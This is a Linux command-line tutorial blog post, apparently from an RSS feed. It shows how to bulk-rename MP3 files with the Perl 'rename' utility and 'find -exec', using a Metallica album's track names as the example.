<blockquote><p><code><strong>cd ~/Music/Metallica/Metallica/<br />
ls -1</strong><br />
01 - Enter Sandman (LP Version).mp3<br />
02 - Sad But True (LP Version).mp3<br />
03 - Holier Than Thou (LP Version).mp3<br />
04 - The Unforgiven (LP Version).mp3<br />
05 - Wherever I May Roam (LP Version).mp3<br />
06 - Don't Tread On Me (LP Version).mp3<br />
07 - Through The Never (LP Version).mp3<br />
08 - Nothing Else Matters (LP Version).mp3<br />
09 - Of Wolf And Man (LP Version).mp3<br />
10 - The God That Failed (LP Version).mp3<br />
11 - My Friend Of Misery (LP Version).mp3<br />
12 - The Struggle Within (LP Version).mp3</code></p></blockquote>
<p>We&#8217;ll use the &#8220;rename&#8221; command to search for and delete the string &#8221; (LP Version)&#8221; in any of the mp3 file names.</p>
<p>Syntax:</p>
<blockquote><p><code><strong>rename (search command) (files)<br />
rename 's/search_for_string/replace_string_with_this/' files</strong></code></p></blockquote>
<p>To delete the matching string, simply leave the replace area empty like so:</p>
<blockquote><p><code><strong>rename 's/search_for_string//' files</strong></code></p></blockquote>
<p>Our Example:</p>
<blockquote><p><code><strong>rename 's/ \(LP Version\)//' *.mp3</strong></code></p></blockquote>
<p>Notice, the left and right parentheses need to be preceded with a backslash &#8220;\&#8221; character, although the spaces do not.  The backslash is a metacharacter used to give you control over what your are matching against.  For more info, here&#8217;s a <a title="Linux.com - CLI Magic" href="http://www.linux.com/feature/114045" target="_blank">link to a decent tutorial</a> on the matter.</p>
<p>You can see the results of the command below.</p>
<blockquote><p><code><strong>ls -1</strong><br />
01 - Enter Sandman.mp3<br />
02 - Sad But True.mp3<br />
03 - Holier Than Thou.mp3<br />
04 - The Unforgiven.mp3<br />
05 - Wherever I May Roam.mp3<br />
06 - Don't Tread On Me.mp3<br />
07 - Through The Never.mp3<br />
08 - Nothing Else Matters.mp3<br />
09 - Of Wolf And Man.mp3<br />
10 - The God That Failed.mp3<br />
11 - My Friend Of Misery.mp3<br />
12 - The Struggle Within.mp3</code></p></blockquote>
<p>Now, to rename a large number of files spanning multiple directories, simply combine &#8220;rename&#8221; with the power of the &#8220;find&#8221; command.</p>
<p>Syntax:</p>
<blockquote><p><code><strong>find . -type f -name *.mp3 -exec rename 's/ \(LP Version\)//' '{}' \;</strong></code></p></blockquote>
<p>In this example, we searched starting from the current directory for only files with .mp3 in their file names.  We use the find command&#8217;s -exec option to execute the rename command against the result set.  See the find(1) manpage for more info.</p>
<p>Other useful examples:</p>
<blockquote><p><code>Replace all spaces with underscores.<br />
<strong>rename 's/ /\_/g' *.mp3</strong></code></p>
<p><code>Replace all uppercase with lowercase characters<br />
<strong>rename 'y/[A-Z]/[a-z]/' *.mp3</strong></code></p></blockquote>
<p>Easy stuff, and you don&#8217;t even need any fancy GUI applications to do the job!</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Frename-files-in-bulk-from-the-command-line%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Frename-files-in-bulk-from-the-command-line%2F&amp;t=Rename%20Files%20in%20Bulk%20from%20the%20Command%20Line" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Rename%20Files%20in%20Bulk%20from%20the%20Command%20Line%20-%20http%3A%2F%2Fsavvyadmin.com%2Frename-files-in-bulk-from-the-command-line%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Frename-files-in-bulk-from-the-command-line%2F&amp;title=Rename%20Files%20in%20Bulk%20from%20the%20Command%20Line&amp;notes=Renaming%20a%20large%20number%20of%20files%20can%20seem%20like%20a%20daunting%20task%2C%20but%20no%20worries%2C%20your%20trusty%20Linux%20CLI%20is%20at%20your%20service.%20%20For%20this%20example%2C%20we%20will%20rename%20a%20number%20of%20MP3%27s%20located%20in%20multiple%20subdirectories%20with%20a%20couple%20very%20easy%20commands%3B%20%22find%22%20" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Frename-files-in-bulk-from-the-command-line%2F&amp;title=Rename%20Files%20in%20Bulk%20from%20the%20Command%20Line&amp;bodytext=Renaming%20a%20large%20number%20of%20files%20can%20seem%20like%20a%20daunting%20task%2C%20but%20no%20worries%2C%20your%20trusty%20Linux%20CLI%20is%20at%20your%20service.%20%20For%20this%20example%2C%20we%20will%20rename%20a%20number%20of%20MP3%27s%20located%20in%20multiple%20subdirectories%20with%20a%20couple%20very%20easy%20commands%3B%20%22find%22%20" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Rename%20Files%20in%20Bulk%20from%20the%20Command%20Line&amp;body=http%3A%2F%2Fsavvyadmin.com%2Frename-files-in-bulk-from-the-command-line%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Frename-files-in-bulk-from-the-command-line%2F&amp;title=Rename%20Files%20in%20Bulk%20from%20the%20Command%20Line&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=Renaming%20a%20large%20number%20of%20files%20can%20seem%20like%20a%20daunting%20task%2C%20but%20no%20worries%2C%20your%20trusty%20Linux%20CLI%20is%20at%20your%20service.%20%20For%20this%20example%2C%20we%20will%20rename%20a%20number%20of%20MP3%27s%20located%20in%20multiple%20subdirectories%20with%20a%20couple%20very%20easy%20commands%3B%20%22find%22%20" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Frename-files-in-bulk-from-the-command-line%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Frename-files-in-bulk-from-the-command-line%2F&amp;title=Rename%20Files%20in%20Bulk%20from%20the%20Command%20Line&amp;annotation=Renaming%20a%20large%20number%20of%20files%20can%20seem%20like%20a%20daunting%20task%2C%20but%20no%20worries%2C%20your%20trusty%20Linux%20CLI%20is%20at%20your%20service.%20%20For%20this%20example%2C%20we%20will%20rename%20a%20number%20of%20MP3%27s%20located%20in%20multiple%20subdirectories%20with%20a%20couple%20very%20easy%20commands%3B%20%22find%22%20" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Frename-files-in-bulk-from-the-command-line%2F&amp;title=Rename%20Files%20in%20Bulk%20from%20the%20Command%20Line" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/vim-in-color/' rel='bookmark' title='Permanent Link: Vim in Color'>Vim in Color</a></li>
<li><a href='http://savvyadmin.com/split-and-reassemble-files/' rel='bookmark' title='Permanent Link: Split and Reassemble Files'>Split and Reassemble Files</a></li>
<li><a href='http://savvyadmin.com/rar-and-unrar-from-linux-cli/' rel='bookmark' title='Permanent Link: RAR and UNRAR from Linux CLI'>RAR and UNRAR from Linux CLI</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/rename-files-in-bulk-from-the-command-line/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
